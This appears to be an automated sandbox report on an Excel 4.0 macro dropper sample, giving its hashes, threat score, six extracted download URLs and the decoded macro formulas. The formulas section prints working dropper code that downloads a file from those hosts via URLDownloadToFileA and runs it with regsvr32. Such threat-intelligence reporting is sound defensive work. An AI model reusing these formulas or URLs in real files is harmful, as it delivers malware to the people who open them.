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General

  • Target

    c993a083b2a2faa9f7504d9469b8d022615a254ac9cca267d6f45a3d366d402f

  • Size

    40KB

  • Sample

    241111-14t5naxhkj

  • MD5

    7fcd5276123ec8553b582abf4f1725c6

  • SHA1

    1f1d9d4105801e7b98c3f5435ba65630c8eafc4a

  • SHA256

    c993a083b2a2faa9f7504d9469b8d022615a254ac9cca267d6f45a3d366d402f

  • SHA512

    095d1fd5a79eea7af5c88de034aef432805de434ab6cc881a9fc5dc61f6f044ce5bb5863a8a8a05822955f3a0ab3fb9ecf1c8a13c32678edc294173ee2d6e664

  • SSDEEP

    768:ytby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:qbunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      c993a083b2a2faa9f7504d9469b8d022615a254ac9cca267d6f45a3d366d402f

    • Size

      40KB

    • MD5

      7fcd5276123ec8553b582abf4f1725c6

    • SHA1

      1f1d9d4105801e7b98c3f5435ba65630c8eafc4a

    • SHA256

      c993a083b2a2faa9f7504d9469b8d022615a254ac9cca267d6f45a3d366d402f

    • SHA512

      095d1fd5a79eea7af5c88de034aef432805de434ab6cc881a9fc5dc61f6f044ce5bb5863a8a8a05822955f3a0ab3fb9ecf1c8a13c32678edc294173ee2d6e664

    • SSDEEP

      768:ytby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:qbunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks